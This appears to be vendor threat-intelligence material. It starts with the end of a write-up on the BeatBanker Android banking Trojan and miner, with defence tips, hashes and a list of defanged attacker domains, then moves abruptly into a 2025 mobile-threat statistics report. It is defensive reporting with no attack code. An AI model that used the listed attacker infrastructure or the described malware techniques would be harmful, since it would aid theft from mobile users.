BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

Starting from the third quarter of 2025, we have updated our statistical methodology based on the Kaspersky Security Network. These changes affect all sections of the report except for the installation package statistics, which remain unchanged.

To illustrate trends between reporting periods, we have recalculated the previous year’s data; consequently, these figures may differ significantly from previously published numbers. All subsequent reports will be generated using this new methodology, ensuring accurate data comparisons with the findings presented in this article.

Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat intelligence, voluntarily shared by Kaspersky users. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The year in figures

According to Kaspersky Security Network, in 2025:

• Over 14 million attacks involving malware, adware or unwanted mobile software were blocked.
• Adware remained the most prevalent mobile threat, accounting for 62% of all detections.
• Over 815 thousand malicious installation packages were detected, including 255 thousand mobile banking Trojans.

The year’s highlights

In 2025, cybercriminals launched an average of approximately 1.17 million attacks per month against mobile devices using malicious, advertising, or unwanted software. In total, Kaspersky solutions blocked 14,059,465 attacks throughout the year.

Attacks on Kaspersky mobile users in 2025 (download)

Beyond the malware mentioned in previous quarterly reports, 2025 saw the discovery of several other notable Trojans. Among these, in Q4 we uncovered the Keenadu preinstalled backdoor. This malware is integrated into device firmware during the manufacturing stage. The malicious code is injected into libandroid_runtime.so – a core library for the Android Java runtime environment – allowing a copy of the backdoor to enter the address space of every app running on the device. Depending on the specific app, the malware can then perform actions such as inflating ad views, displaying banners on behalf of other apps, or hijacking search queries. The functionality of Keenadu is virtually unlimited, as its malicious modules are downloaded dynamically and can be updated remotely.

Cybersecurity researchers also identified the Kimwolf IoT botnet, which specifically targets Android TV boxes. Infected devices are capable of launching DDoS attacks, operating as reverse proxies, and executing malicious commands via a reverse shell. Subsequent analysis revealed that Kimwolf’s reverse proxy functionality was being leveraged by proxy providers to use compromised home devices as residential proxies.

Another notable discovery in 2025 was the LunaSpy Trojan.

Disguised as antivirus software, this spyware exfiltrates browser passwords, messaging app credentials, SMS messages, and call logs. Furthermore, it is capable of recording audio via the device’s microphone and capturing video through the camera. This threat primarily targeted users in Russia.

Mobile threat statistics

815,735 new unique installation packages were observed in 2025, showing a decrease compared to the previous year. While the decline in 2024 was less pronounced, this past year saw the figure drop by nearly one-third.

Detected Android-specific malware and unwanted software installation packages in 2022–2025 (download)

The overall decrease in detected packages is primarily due to a reduction in apps categorized as not-a-virus. Conversely, the number of Trojans has increased significantly, a trend clearly reflected in the distribution data below.

Detected packages by type

Distribution* of detected mobile software by type, 2024–2025 (download)

* The data for the previous year may differ from previously published data due to some verdicts being retrospectively revised.

A significant increase in Trojan-Banker and Trojan-Spy apps was accompanied by a decline in AdWare and RiskTool files. The most prevalent banking Trojans were Mamont (accounting for 49.8% of apps) and Creduz (22.5%). Leading the persistent adware category were MobiDash (39%), Adlo (27%), and HiddenAd (20%).

Share* of users attacked by each type of malware or unwanted software out of all users of Kaspersky mobile solutions attacked in 2024–2025 (download)

* The total may exceed 100% if the same users encountered multiple attack types.

Trojan-Banker malware saw a significant surge in 2025, not only in terms of unique file counts but also in the total number of attacks. Nevertheless, this category ranked fourth overall, trailing far behind the Trojan file category, which was dominated by various modifications of Triada and Fakemoney.

TOP 20 types of mobile malware

Note that the malware rankings below exclude riskware and potentially unwanted apps, such as RiskTool and adware.

Verdict	% 2024*	% 2025*	Difference in p.p.	Change in ranking
Trojan.AndroidOS.Triada.fe	0.04	9.84	+9.80
Trojan.AndroidOS.Triada.gn	2.94	8.14	+5.21	+6
Trojan.AndroidOS.Fakemoney.v	7.46	7.97	+0.51	+1
DangerousObject.Multi.Generic	7.73	5.83	–1.91	–2
Trojan.AndroidOS.Triada.ii	0.00	5.25	+5.25
Trojan-Banker.AndroidOS.Mamont.da	0.10	4.12	+4.02
Trojan.AndroidOS.Triada.ga	10.56	3.75	–6.81	–6
Trojan-Banker.AndroidOS.Mamont.db	0.01	3.53	+3.51
Backdoor.AndroidOS.Triada.z	0.00	2.79	+2.79
Trojan-Banker.AndroidOS.Coper.c	0.81	2.54	+1.72	+35
Trojan-Clicker.AndroidOS.Agent.bh	0.34	2.48	+2.14	+74
Trojan-Dropper.Linux.Agent.gen	1.82	2.37	+0.55	+4
Trojan.AndroidOS.Boogr.gsh	5.41	2.06	–3.35	–8
DangerousObject.AndroidOS.GenericML	2.42	1.97	–0.45	–3
Trojan.AndroidOS.Triada.gs	3.69	1.93	–1.76	–9
Trojan-Downloader.AndroidOS.Agent.no	0.00	1.87	+1.87
Trojan.AndroidOS.Triada.hf	0.00	1.75	+1.75
Trojan-Banker.AndroidOS.Mamont.bc	1.13	1.65	+0.51	+8
Trojan.AndroidOS.Generic.	2.13	1.47	–0.66	–6
Trojan.AndroidOS.Triada.hy	0.00	1.44	+1.44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The list is largely dominated by the Triada family, which is distributed via malicious modifications of popular messaging apps. Another infection vector involves tricking victims into installing an official messaging app within a “customized virtual environment” that supposedly offers enhanced configuration options. Fakemoney scam applications, which promise fraudulent investment opportunities or fake payouts, continue to target users frequently, ranking third in our statistics. Meanwhile, the Mamont banking Trojan variants occupy the 6th, 8th, and 18th positions by number of attacks. The Triada backdoor preinstalled in the firmware of certain devices reached the 9th spot.

Region-specific malware

This section describes malware families whose attack campaigns are concentrated within specific countries.

Verdict	Country*	%**
Trojan-Banker.AndroidOS.Coper.a	Türkiye	95.74
Trojan-Dropper.AndroidOS.Hqwar.bj	Türkiye	94.96
Trojan.AndroidOS.Thamera.bb	India	94.71
Trojan-Proxy.AndroidOS.Agent.q	Germany	93.70
Trojan-Banker.AndroidOS.Coper.c	Türkiye	93.42
Trojan-Banker.AndroidOS.Rewardsteal.lv	India	92.44
Trojan-Banker.AndroidOS.Rewardsteal.jp	India	92.31
Trojan-Banker.AndroidOS.Rewardsteal.ib	India	91.91
Trojan-Dropper.AndroidOS.Rewardsteal.h	India	91.45
Trojan-Banker.AndroidOS.Rewardsteal.nk	India	90.98
Trojan-Dropper.AndroidOS.Agent.sm	Türkiye	90.34
Trojan-Dropper.AndroidOS.Rewardsteal.ac	India	89.38
Trojan-Banker.AndroidOS.Rewardsteal.oa	India	89.18
Trojan-Banker.AndroidOS.Rewardsteal.ma	India	88.58
Trojan-Spy.AndroidOS.SmForw.ko	India	88.48
Trojan-Dropper.AndroidOS.Pylcasa.c	Brazil	88.25
Trojan-Dropper.AndroidOS.Hqwar.bf	Türkiye	88.15
Trojan-Banker.AndroidOS.Agent.pp	India	87.85

* Country where the malware was most active.
** Unique users who encountered the malware in the indicated country as a percentage of all users of Kaspersky mobile solutions who were attacked by the same malware.

Türkiye saw the highest concentration of attacks from Coper banking Trojans and their associated Hqwar droppers. In India, Rewardsteal Trojans continued to proliferate, exfiltrating victims’ payment data under the guise of monetary giveaways. Additionally, India saw a resurgence of the Thamera Trojan, which we previously observed frequently attacking users in 2023. This malware hijacks the victim’s device to illicitly register social media accounts.

The Trojan-Proxy.AndroidOS.Agent.q campaign, concentrated in Germany, utilized a compromised third-party application designed for tracking discounts at a major German retail chain. Attackers monetized these infections through unauthorized use of the victims’ devices as residential proxies.

In Brazil, 2025 saw a concentration of Pylcasa Trojan attacks. This malware is primarily used to redirect users to phishing pages or illicit online casino sites.

Mobile banking Trojans

The number of new banking Trojan installation packages surged to 255,090, representing a several-fold increase over previous years.

Mobile banking Trojan installation packages detected by Kaspersky in 2022–2025 (download)

Notably, the total number of attacks involving bankers grew by 1.5 times, maintaining the same growth rate seen in the previous year. Given the sharp spike in the number of unique malicious packages, we can conclude that these attacks yield significant profit for cybercriminals. This is further evidenced by the fact that threat actors continue to diversify their delivery channels and accelerate the production of new variants in an effort to evade detection by security solutions.

TOP 10 mobile bankers

Verdict	% 2024*	% 2025*	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.da	0.86	15.65	+14.79	+28
Trojan-Banker.AndroidOS.Mamont.db	0.12	13.41	+13.29
Trojan-Banker.AndroidOS.Coper.c	7.19	9.65	+2.46	+2
Trojan-Banker.AndroidOS.Mamont.bc	10.03	6.26	–3.77	–3
Trojan-Banker.AndroidOS.Mamont.ev	0.00	4.10	+4.10
Trojan-Banker.AndroidOS.Coper.a	9.04	4.00	–5.04	–4
Trojan-Banker.AndroidOS.Mamont.ek	0.00	3.73	+3.73
Trojan-Banker.AndroidOS.Mamont.cb	0.64	3.04	+2.40	+26
Trojan-Banker.AndroidOS.Faketoken.pac	2.17	2.95	+0.77	+5
Trojan-Banker.AndroidOS.Mamont.hi	0.00	2.75	+2.75

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile solutions who encountered banking threats.

In 2025, we observed a massive surge in activity from Mamont banking Trojans. They accounted for approximately half of all new apps in their category and also were utilized in half of all banking Trojan attacks.

Conclusion

The year 2025 saw a continuing trend toward a decline in total unique unwanted software installation packages. However, we noted a significant year-over-year increase in specific threats – most notably mobile banking Trojans and spyware – even though adware remained the most frequently detected threat overall.

Among the mobile threats detected, we have seen an increased prevalence of preinstalled backdoors, such as Triada and Keenadu. Consistent with last year’s findings, certain mobile malware families continue to proliferate via official app stores. Finally, we have observed a growing interest among threat actors in leveraging compromised devices as proxies.